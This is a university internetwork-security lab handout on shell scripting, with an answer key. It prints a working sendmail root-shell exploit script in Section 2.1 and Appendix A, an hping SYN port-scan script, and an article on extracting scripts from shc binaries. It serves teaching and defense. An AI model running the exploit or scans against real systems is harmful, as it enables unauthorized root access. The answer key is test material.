ECE4112 Internetwork Security Lab: Shell Scripting Date Assigned: Date Due: Last Edited: 11/18/2006 Lab Authored By: Nathan Jacobson Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions in the provided Answer Sheet and be sure you turn in to the TAs ALL materials listed in the Turn-in Checklist on or before the Date Due. Goal: This lab is designed to help you learn the basic aspects of shell scripting and how to use scripts as supplements to existing tools. Summary: This lab consists of two parts. In the first part, you will learn the format a shell scripts and the basic operations. In the second part, you will look at existing shell scripts and create your own. Background: Shell scripting is a basic skill that is also the ultimate tool for creating functionality when there are no existing tools. What this means is that scripting can automate and combine basic unix programs to create a specific tool capable of almost any desired effect. The uses for created tools with shell scripts is endless, from automating tedious tasks and routine checking to testing exploits and performing attacks. As with most computer security tools, shell scripting needs both knowledge of the problem and a possible solution to effectively use. Sources: Below is a list of source used to create this lab assignment. 1) http://www.hsrl.rutgers.edu/ug/shell_help.html 2) http://www.linuxsecurity.com/content/view/117920/49/ 3) http://www.windowsecurity.com/whitepapers/Shell_Programming_an_Exploit _Explained_2.html 4) http://www.hping.org/ Equipment: You will be writing shell scripts on the Redhat WS 4.0 Host machine, although the scripts are compatible with most unix-based systems. There are example scripts and tools used in this lab that are available on the NAS, from their respective sites, or by searching google. -1- SECTION 1 source: 1 1.1 Creating a Script A shell script is a simple text file that contains programming code to be interpreted by a program. The first line of a shell script references the interpreter that will run the script. For example, a common first line is: #!/bin/sh The format is “#!” followed by the full path to the interpreter, with additional parameters afterwards that are optional. The execution begins with the interpreter, followed by the arguments from the script’s first line, the full path to the script, and then the arguments passed to the script. The script permissions need to be set so that it is executable, this can be done by executing the command chmod a+x myscript. Q1.1. If the first line of a script is “#!/bin/sh arg1” and the script is executed with the command “/home/myscript arg2”, what is the equivalent command and arguments that are passed to “/bin/sh”? 1.2 Input to a Script There are a couple of ways to provide input to a script: from the command line using arguments, from standard input using the keyboard, and from the contents of files. 1.2.1 Command Line Argument Input Command line arguments are referenced inside the script using the variables $0, $1, $2, … with $0 being the script and $1 being the first argument. There is also the variable $# that contains the number of arguments, the value being 1 if there are no arguments passed. 1.2.2 Standard Input To read input from the keyboard inside a script there are a couple commands such read. The example “read var” will take input from the keyboard until the ‘enter’ key is hit and put the contents in the variable “$var”. 1.2.3 File Input In addition to using the read command for input from the keyboard, it can also be used to get lines from a text file. An example script that will output the contents of a file, line by line: while read myline do echo $myline done < inputfile -2- 1.3 Output from a Script There are a couple of methods to send output from a script to standard output and standard error as well as writing to files and returning exit codes. 1.3.1 Standard Output and Error Standard output refers to the screen output that the user can see by default. Standard error refers to output that is generally hidden from the user, but allows for error output to be used for debugging purposes. There are three variables of use to a shell script that deal with standard input - 0, output - 1, and error - 2. The command echo errors found >&2 will send the message “errors found” to standard error. To send output to both standard output and error at the same time, the command is 2>&1. 1.3.2 Exit Status The exit status is the value returned by a program or script that is meant to indicate the results of the execution. The common value for indicating a successful execution is 0, issued by the command exit 0. Other values for the exit status mean that some error occurred, different values referring to different problems. The exit status of a program can be tested inside of a script by using the basic conditional construct to execute the command, for example: if [/home/myscript arg1]; then echo Success else echo Failure fi 1.4 Language Constructs 1.4.1 Comments Comments are helpful to identify sections of code or provide information to users reading the script. A comment in a shell script begins with a # character and continues to the end of the line. Comments can be either an entire line or only the end of a line, with executable code before it. An example of some comments is: # this comments spans the entire line echo “Hello” # this comment is only half the line 1.4.2 Conditional There are two primary conditional constructs in shell scripting, the if statement and the switch statement. The if statement has the format if command; then command; else command; fi. The else part of the statement is optional and the command following the if statement is generally enclosed in square braces. The conditional command is generally a comparison of variables and values, using some basic comparison operators such as: [A –ne B] for testing if A is not equal to B [A –ge B] for testing if A is greater than B [A –le B] for testing if A is less than B -3- 1.4.3 Variables Assignment of variables is done by using the format variable=value, for example the following code assigns the variable count the value three: COUNT=3 To reference the value contained in a variable, use the dollar sign before the variable name; the following code outputs the variable to the screen: echo “$COUNT” The scope of variables created in a script is limited to the original script. To allow other scripts access to variables defined in other scripts, the export command changes the variable scope. The following code exports the variable count: export COUNT The final aspect of referencing variables is conditional referencing. This allows a script to reference a variable and fallback to a default value if the variable is not already defined. The format is ${variable-othervalue} and this example shows how this works: echo ${COUNT-3} # This outputs 3 COUNT=4 echo ${COUNT-3} # This outputs 4 1.4.4 Loops There are a few constructs for providing loops in a shell script. Each method is slightly different in how it operates, but each method can product the same effects. A for loop takes a variable and increments it through the list of given values, performing the contents of the loop on each increment. The following example will output the list of numbers from one to nine, separated by commas: for i in 1 2 3 4 5 6 7 8 9 do echo “$i, “ done The second type of loop is a while or until loop. A while loop continues execution as long as the statement evaluates to true. The following example will output “3…2…1” and exit: COUNT=3 while [$COUNT –ge 0]; do echo “$COUNT…” COUNT=$COUNT-1 done The until loop is very similar to the while loop, but instead continues execution as long as the statement evaluates to false, ending when it is true. An example that produces the same output: COUNT=3 until [$COUNT –le 1]; do echo “$COUNT…” COUNT=$COUNT-1 done -4- 1.4.5 Functions Functions are useful for either repeated actions or for organizing code into easily readable sections. A function operates almost like its own shell script, using $0, $1, $2… for the function parameters and using return instead of exit to end execution. An example function that computes the sum of the input variables: function add() { return ($0 + $1); } 1.4.6 Redirection There are three primary redirection commands that are important for shell scripting: <, >, >>. cmd < infile directs the contents of infile as an argument to the command cmd. cmd > outfile directs the output of cmd to the file outfile. cmd >> outfile directs the output of cmd and appends it to outfile, preserving previous contents. There is also a pipe command “cmd1 | cmd2” that will take the output from the first command and use it as input for the next command, this chaining the programs together. Q1.2. Using the command sort and the files “names”, containing a list of names in random order, and “sorted_names”, containing the names in alphabetical order, what command will take the names from the randomized-list and sort it into the sorted-list file. 1.5 Useful Tools 1.5.1 Grep Grep is one of the most common unix tools, used for pattern matching and removing unwanted information from a given file or program output. The basic format of the command is: grep [pattern to match] [file to check]. This will select the lines from the given file that match the pattern; the pattern can be either basic characters or a regular expression. 1.5.2 Cut Cut is used to select portions of a line. Cut breaks the line into separate elements based on a delimiting character and returns only the chosen elements. This is useful for selecting specific elements from a line, without knowing the exact position of the text in the line. 1.5.3 Head and Tail Head and Tail are very similar commands used to select the first or last characters or lines from the given input. This is useful for seeing only the first or last lines of a given file, or removing the trailing or leading characters. A common use of the tail program is to read only the most recent lines in a log file. -5- 1.5.4 Cat Cat is a tool for reading a given file and output its contents to standard output. This is a common tool for viewing file contents without using a text editor. Another use is for sending the contents of a file as input to other functions such as the ones discussed above. 1.5.5 Miscellaneous Most shell scripts can produce the same effects using a variety of the basic unix tools. For example, using awk and the sub-string command has the same effect as using cut to extract a specific portion of a string from the given input. Although this lab used only a few of the common unix tools, there are many more available on typical installations of unix. To understand and make use of these other tools it is helpful to either read the manual pages, using the man command, or find user documentation online. 1.6 Tips and Tricks There are many tricks that are used to create complex scripts with advanced functionality. Some of the tricks involve debugging scripts to fix errors, special variables for enhanced functionality, and executing other programs to combine functionality. 1.6.1 Debugging There are a couple of easy methods that can help debug or examine a shell script. Using the argument –x for the sh shell or using the command “set –x” inside the script causes the line from the script to be echoed to standard output before execution. This allows the user to see the commands along side the results for better debugging. 1.6.2 Special Variables Here is a list of some of the special variables that are available to shell scripts: $# - contains the number of arguments passed to script, including the script $1…99 – contains the argument of that number 0 or &0 – refers to standard input, such as from a keyboard 1 or &1 – refers to standard output, used for regular script output 2 or &2 – refers to standard error, used for outputting error messages 1.6.3 Program Execution There are two methods of running commands within a shell script. Both are slightly different in how they work, but the use depends on the desired effect. Using the command “sh /home/myscript” will create a new instance of the shell and execute the script. The other method of executing commands is “. /home/myscript” and will run the script inside the current shell, meaning that variables used in the original script will be available to the secondary scripts. Q1.3. Using the /etc/passwd file, what command will product a sorted list of usernames that are using the sh shell? -6- SECTION 2 2.1 Shell Script Exploit source: 3 This shell script is a simple example of a malicious script and illustrates the need to verify and understand a script before arbitrarily running it. This script creates a small c program that exploits a sendmail smptd bug that results in a new shell with root privileges. Below is a screenshot showing the contents of the shell script and the execution that results in a shell with root access. 2.1.1 Shell Script Code #!/bin/sh echo 'main() '>>smtpdexploit.c echo '{ '>>smtpdexploit.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>smtpdexploit.c echo '} '>>smtpdexploit.c -7- echo echo echo echo 'main() '>>smtpd.c '{ '>>smtpd.c ' setuid(0); setgid(0); '>>smtpd.c ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c cc -o smtpdexploit smtpdexploit.c cc -o /tmp/smtpd smtpd.c ./smtpdexploit kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm smtpdexploit.c smtpdexploit smtpd.c /tmp/smtpd echo "Now type: /tmp/sh" Q2.1. Explain the basic operations of this line kill -HUP `ps ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]". 2.2 Encrypting Shell Scripts source: 2 There are times that a shell script requires placing passwords or other sensitive data as plain-text inside the file. Examples of this would be scripts that automate authenticating with passwords or any scripts that require hiding of the inner workings. The basic method of protecting the contents of a script involve encrypting it. The best method of encrypting a shell script that maintains portability so that it does not require extra programs is to convert it into a binary program. There are methods other than the following to create binary executables out of shell scripts, but this method is simple and works well. The program shc creates a c source file from a shell script and then uses RC4 encryption to create a binary executable. To install SHC, download the file shc-3.8.6.tgz from the NAS or http://www.datsi.fi.upm.es/~frosal/sources/shc.html to your Linux WS 4.0 host machine. Uncompress the file and move into the new directory. In this directory is the SHC program, documentation, and sample scripts. Read the shc.README file for more information. Q2.2. How would an attacker steal passwords that are arguments passed to currently running programs? Use this program to encrypt the above shell script (smtpscript.sh) and examine the resulting source file (smtpscript.sh.x.c) and test running the binary file (smtpscript.sh.x). -8- ScreenShot #1 The contents of the source file (smtpscript.sh.x.c) and the execution of the binary file (smtpscript.sh.x). Q2.3. Why is shc vulnerable to being decrypted, even without access to the original script or source file? (hint: where is the encryption key stored?) Although encrypting the shell script is a good security measure against the casual user, a motivated attacker can possibly reverse engineer the original script with a little work. The easiest method to produce the original shell script is using the c source file and reversing the RC4 encryption algorithm. It is also possible to produce the original script using only the encrypted binary, but requires more effort and time. For more information on breaking shc read the article here: http://www.linuxjournal.com/article/8256 (See Appendix C) 2.3 Scripts and Programs source: 4 To demonstrate the advanced functionality of shell scripting, the following question involves using a packet creation tool to perform a basic port scan of a target host. The packet creation tool is hping, a command-line tool that can create raw IP packets with a specified header and payload. This tool will perform the actual port scan, sending TCP SYN packets to the target, receiving a SYN-ACK packet from open ports and a RESETACK packet from closed ports. To automate the scan of all ports from 1 to 65535, a simple conditional loop will suffice incrementing the port after each sent packet or the hping command has a built-in argument for doing this. To install hping, download the file hping2.0.0-rc3.tar.gz from the NAS or http://www.hping.org/ to your tools directory on the Linux WS 4.0 host. Uncompress the file and move into the new directory. Compile and install the program by typing: ./configure, then make, and then make install. After figuring out how to automate the SYN scan of the target, the next step is to take the output and compile a list of open ports. The basic method of determining the status of a port is to examine the response packet, looking for “flags=SA” to indicate an open port. Use all of this information to output a simple listing of the open ports for the target to a text file, putting each port number on its own line. Take a screenshot of the contents of the file from your script and a screenshot of a SYN-scan using nmap, comparing the results. ScreenShot #2 The file showing open ports on host. ScreenShot #3 The output of a nmap port scan against the same host. -9- Section 3 3.2 Defenses Although shell scripting is not itself a dangerous vulnerability or exploit, it can be used as a medium to distribute and execute malicious code. Some of the basic defenses against an attacker trying to use shell scripts against a host are typical security restrictions that should be in effect regardless of the possibility of an attack. For example, basic restrictions should be in place to prevent access to restricted files such as configuration settings, password files, and executables that are possibly dangerous. This means that user permissions and sensitive-file permissions need to be set correctly to prevent unauthorized access; access to programs such as gcc are dangerous as it can be used to compile malicious programs. 3.1 Suggested Additions This lab covers that basics of shell scripting as well as a few examples of more powerful scripts that can hide information and carry out attacks. Although the information in this lab is sufficient in gaining an understanding of shell scripts, there are possible additions to this lab that could further increase the skills and knowledge of the student. Some examples of such additions include: - Securing user and file permissions to prevent malicious activity - Using a shell script to test an exploit to find the offset values - Creating ARPWatch using the arp-command and a shell script in a loop - More advanced network scanning techniques using hping-command - 10 - ECE4112 Internetwork Security Lab: Shell Scripting Group Number: _________ Member Names: ___________________ _______________________ Answer Sheet Section 1 Q1.1. If the first line of a script is “#!/bin/sh arg1” and the script is executed with the command “/home/myscript arg2”, what is the equivalent command and arguments that are passed to “/bin/sh”? “/bin/sh arg1 /home/script arg2” Q1.2. Using the command “sort” and the files “names”, containing a list of names in random order, and “sorted_names”, containing the names in alphabetical order, what command will take the names from the randomized-list and sort it into the sorted-list file. sort < names > sorted_names OR cat names|sort>sorted_names Q1.3. Using the /etc/passwd file, what command will product a sorted list of usernames that are using the sh shell? cat /etc/passwd|grep /sh|cut –d : -f 1|sort OR grep /sh</etc/passwd|cut –d : -f 1|sort Section 2 Q2.1. Explain the basic operations of this line kill -HUP `ps ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]". This command extracts the process identifier (PID) for the binary file /tmp/smtpd and kills the process, allowing the new shell to start with root privileges. “kill –HUP” tries to restart the specified process given the PID “ps ax” lists all processes on the host “grep /tmp/smtpd” returns the line from the process list for the exploit “grep –v grep” removes any lines that contain word grep “tr –d ‘ ‘” removes all spaces from the selected lines “tr –cs ‘[:digits:]’” removes characters, leaving digits Q2.2. How would an attacker steal passwords that are arguments passed to currently running programs? “ps –ef” shows the arguments used to execute running processes - 11 - Q2.3. Why is shc vulnerable to being decrypted, even without access to the original script or source file? (hint: where is the encryption key stored?) The encryption key is stored in the binary file and can be seen in the data section of the disassembled code. ScreenShot #1 The contents of the source file (smtpscript.sh.x.c) and the execution of the binary file (smtpscript.sh.x). - 12 - ScreenShot #2 The file showing open ports on host. and ScreenShot #3 The output of a nmap port scan against the same host. - 13 - General Questions Q3.1. How long did it take you to complete this lab? Q3.2. What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyz adds a capability or additional or better learning experience for future students here is what you need to do. You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web site and is repeated here for the first lab: Turn-in Checklist 1- Answer Sheet with answers. 2- Three Screenshots. - 14 - Appendix A: SMTPd Exploit Script #!/bin/sh echo 'main() '>>smtpdexploit.c echo '{ '>>smtpdexploit.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0);'>>smtpdexploit.c echo '} '>>smtpdexploit.c echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c cc -o smtpdexploit smtpdexploit.c cc -o /tmp/smtpd smtpd.c ./smtpdexploit kill -HUP `ps ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm smtpdexploit.c smtpdexploit smtpd.c /tmp/smtpd echo "Now type: /tmp/sh" Appendix B: Port Scan Script #!/bin/sh echo "Scanning Target $1 starting from port $2 for count $3:" hping --fast -I eth0 -S $1 -p ++$2 -c $3|grep SA|cut -d ' ' -f 6|cut -d '=' -f 2 >open_ports.txt - 15 - Appendix C: Limitations of SHC Paranoid Penguin - Limitations of shc, a Shell Encryption Utility By Nalneesh Gaur on Fri, 2005-08-26 01:00. The shell script compiler, shc, obfuscates shell scripts with encryption-but the password is in the encrypted file. Could an intruder recover the original script using objdump? shc is a popular tool for protecting shell scripts that contain sensitive information such as passwords. Its popularity was driven partly by auditors' concern over passwords in scripts. shc encrypts shell scripts using RC4, makes an executable binary out of the shell script and runs it as a normal shell script. Although the resulting binary contains the encryption password and the encrypted shell script, it is hidden from casual view. At first, I was intrigued by the shc utility and considered it as a valuable tool in maintaining security of sensitive shell scripts. However, upon further inspection, I was able to extract the original shell script from the shc-generated executable for version 3.7. Because the encryption key is stored in the binary executable, it is possible for anyone with read access to the executable to recover the original shell script. This article details the process of extracting the original shell executable from the binary generated by shc. shc Overview shc is a generic shell script compiler. Fundamentally, shc takes as its input a shell script, converts it to a C program and runs the compiler to compile the C code. The C program contains the original script encrypted by an arbitrary key using RC4 encryption. RC4 is a stream cipher designed in RSA laboratories by Ron Rivest in 1987. This cipher is used widely in commercial applications, including Oracle SQL and SSL. Listing 1 demonstrates running shc. Listing 1. Running shc [user1@shiraz test]# cat pub.sh #!/bin/sh echo "Hello World" user1@shiraz test]# ./pub.sh Hello World [user1@shiraz test]# shc -v -r -f pub.sh shc shll=sh shc [-i]=-c shc [-x]=exec '%s' "$@" shc [-l]= shc opts= - 16 - shc: cc pub.sh.x.c -o pub.sh.x shc: strip pub.sh.x [user1@shiraz test]# ls pub.sh pub.sh.x pub.sh.x.c [user1@shiraz test]# ./pub.sh.x Hello World The two new files, named with the .x and .x.c extensions to the name of the source shell script, are the executable and an intermediate C version. Upon executing pub.sh.x, the original shell source is executed. shc also specifies a relax option, -r. The relax option is used to make the executable portable. Basically, shc uses the contents of the shell interpreter itself, such as /bin/sh, as a key. If the shell binary were to change, for example, due to system patching or by moving the binary to another system, the shc generated binary does not decrypt nor execute. I inspected the shell executable using strings and found no evidence of the original shell script. I also inspected the intermediate C source code and noted that it stores the shell script in encrypted octal characters, as depicted in Listing 2. Listing 2. The original shell script becomes an RC4-encrypted string in the C version. static char text[] = "\223\004\215\264\102\216\322\060\300\070\101\217\277\161\033\130" "\217\145\370\170\106\257\176\301\057\132\172\044\217\247\276\222" "\203\076\334\201\323\107\064\334\120\132\001\241\267\052\203\216" "\116\232\156\337\121\145\235\003\156\244\142\246\117\200\206\014" "\004\153\372\152\030\262\171\275\137\342\247\367\231\315\353\151" "\264\241\230\105\344\053\034\247\342\142\156\305\327\255\036\111" "\234\061\013\355\300\336\324\257\175\124\222\044\132\040\276\067" "\007\002\371\063\021\320\060"; The C source code also includes as arrays the password as well as other encrypted strings. Therefore, anyone with access to the source code easily can decrypt and view the contents of the original shell script. But what about the original shell binary executable generated by shc? Is it possible to extract the original shell script from nothing but the binary executable? The answer to this question is explored in the next section. Extraction Approach I generated and reviewed the C source code for several shell scripts to better understand how the shell source is encrypted and decrypted. Fundamentally, shc uses an - 17 - implementation of RC4 that was posted to a Usenet newsgroup on September 13, 1994. I set off by first identifying the encryption key and the encryption text. The objdump utility came in handy for this. bjdump, part of GNU binutils, displays information about object files. First, we use objdump to retrieve all static variables, for this is where the encryption key and the encrypted shell text are stored. Listing 3 provides a brief overview of objdump. Listing 3. objdump browses the object file for interesting-looking strings. /usr/bin/objdump --section=.data -s pub.sh.x pub.sh.x: file format elf32-i386 Contents of section .data: 804a4e0 00000000 00000000 3ca80408 00000000 ........<....... 804a4f0 00000000 00000000 00000000 00000000 ................ 804a500 00000000 506c6561 73652063 6f6e7461 ....Please conta 804a510 63742079 6f757220 70726f76 69646572 ct your provider 804a520 00000000 01000000 00000000 00000000 ................ 804a530 00000000 00000000 00000000 00000000 ................ 804a540 e554f49f 93dcd6dc bb0bdc9b ad60edd0 .T...........`.. 804a550 7a9beb67 60277cb2 dd9e0886 0797aeec z..g`'|......... 804a560 eba28b7e 7e615a3a 6d37d51a 97c2ea11 ...~~aZ:m7...... ... The first column of the output in listing 3 specifies the starting addresses in hexadecimal, followed by the stored data in the next four columns. The last column represents the stored data in printable characters. So somewhere in the first four columns of the output is the array of characters that form the encryption key (password) and the encrypted shell script. Comparing the original C source code and Listing 3, you can see that the password most likely begins at address 0x804a540. After comparing other executables, I determined that the first address after the zeroes leading the "Please contact your provider" text usually is the starting address. To retrieve these arrays, such as the one depicted in Listing 2, we also need to look at the disassembled code. We use objdump again here, except this time with the -d option, for disassemble, as shown in Listing 4. Listing 4. The output of objdump -d pub.sh.x shows information needed to find the encrypted script. Lines in parentheses were added. 8048e52: 68 28 01 00 00 push $0x128 (Length of encryption key) 8048e57: 68 40 a5 04 08 push $0x804a540 (Key address) 8048e5c: e8 17 fb ff ff call 0x8048978 - 18 - 8048e61: 83 c4 10 8048e64: 83 ec 08 8048e67: 6a 08 add $0x10,%esp sub $0x8,%esp push $0x8 (Length of shll) 8048e69: 68 72 a6 04 08 push $0x804a672 (shll address) 8048e6e: e8 a0 fb ff ff call 0x8048a13 8048e73: 83 c4 10 add $0x10,%esp 8048e76: 83 ec 08 sub $0x8,%esp 8048e79: 6a 03 push $0x3 (length of inlo) 8048e7b: 68 8a a6 04 08 push $0x 8048e80: e8 8e fb ff ff call 0x8048a13 The last two columns represent assembly instructions. The movl instruction is used to move data-movl Source, Dest. The Source and Dest are prefixed with $ when referencing a C constant. The push takes a single operand, the data source, and stores it at the top of stack. Now that we have the basics of objdump, we can proceed to extract the encryption password and eventually the shell code. In the intermediate C code produced by shc, about nine arrays are referenced by the variables pswd, shll, inlo, xecc, lsto, chk1, opts, txt and chk2. The pswd variable stores the encryption key, and the txt variable stores the encrypted shell text. shc hides the useful information as smaller arrays within these variables. Thus, obtaining the actual array involves two steps. First, identify the length of the array. Second, identify the starting address of the array. The objdump output needs to be looked at in detail to obtain the actual array length and the starting address. My first hint here is to look for all addresses that are within the data section (Listing 2) of the disassembled object code. Next, seek out all the push and mov commands in Listing 4. Addresses will be different for different scripts, but when you encrypt a few scripts and read the resulting C code, the patterns become familiar. The 804a540 address seems to correspond to the pswd variable, the encryption key. The length of the useful portion of the encryption key is represented by 0x128, or 296 in decimal form. Similarly, the next variables, shll and inlo, have useful lengths of 0x8 and 0x3 and starting addresses of 804a672 and 804a68a, respectively. This way, we are able to obtain the starting addresses and lengths of all nine variables. Next, we need to be able - 19 - to decrypt the original shell script using only the binary as input. In shc, before the shell script itself is encrypted, many other pieces of information are encrypted. Furthermore, the RC4 implementation maintains state between encrypting and decrypting each individual piece of information. This means that the order in which shc encrypts and decrypts information must be maintained. Failure to do so results in illegible text. To extract the original shell script, we need to perform several decryptions. For this step, I wrote a small program called deshc, using the existing code from one of the intermediate C files. The program reads two files as its input, the binary executable and an input file that specifies the array lengths and addresses. deshc executes the following four steps: Reads binary executable. Extracts data section from the disassembled output. Retrieves individual arrays based on input file. Decrypts individual arrays in order, so that the RC4 state is maintained. Based on the objdump output, I have arrived at the following array lengths and addresses for the pub.sh.x executable: pswd 0x128 0x804a540 shll 0x8 0x804a672 inlo 0x3 0x804a68a xecc 0xf 0x804a68e lsto 0x1 0x804a6a4 chk1 0xf 0x804a6a6 opts 0x1 0x804a6be txt 0x76 0x804a6e0 All of these parameters are used in an input file to deshc, which then decrypts and prints the original shell script. Conclusion An approach to extract the shell source code successfully from shc version 3.7 generated binary executable was demonstrated. The pub.sh script was used for illustrative purposes only. I have indeed tested the deshc program on executables that I did not create and without access to the source code or the original shell script. Francisco García, the author of shc, recently released version 3.8. It uses somewhat different data structures and improves upon the security of the previous version. Nevertheless, I believe that embedding the encryption password within the binary executable is dangerous and prone to extraction as discussed in this article. Nalneesh Gaur, CISSP, ISAAP, works at Diamond Cluster International as a BS7799 Lead Auditor. Published here: http://www.linuxjournal.com/article/8256 - 20 - Names: _________________________ Group Number ______ Laboratory Additions Cover Sheet: Addition Title: ___________________________________________ (Include this cover page on every laboratory addition you submit.) What new concept may be learned by adding this to the existing laboratory assignment? (Or what existing concept is better learned with this addition as opposed to what is in the existing lab assignment): 1) What are the specific vulnerabilities this concept exploits and what are the defenses one can use against the vulnerabilities? Completion checklist: Did you email an electronic copy of your laboratory addition to Henry within 24 hours after the class (and name the attachment Grx_Laby_Add.doc)? ________ Did you prepare a 5 minute in class presentation (which includes enough theory and results to educate your classmates on what you did and how you did it and discuss defenses) and email that to Henry within 24 hours after the class (and name the attachment Grx_Laby_Add.ppt)? _______ Did you include proof that you got this working in our laboratory with our equipment? (Screen shots, output, etc)? ____________ Did you include references and attributes for all materials that you used? __________ Did you write your addition so that it does not require editing to cut and paste into the lab? ____ In adding your new concepts/exercises did you include detailed lab instructions on where to get any software you may need, how to install it, how to run it, what exactly to do with it in our lab, example outputs proving that you got the enhancement to work in our lab? ___________ Did you include any theory/background and or fundamentals of the ideas and concepts behind this addition? _____________ - 21 -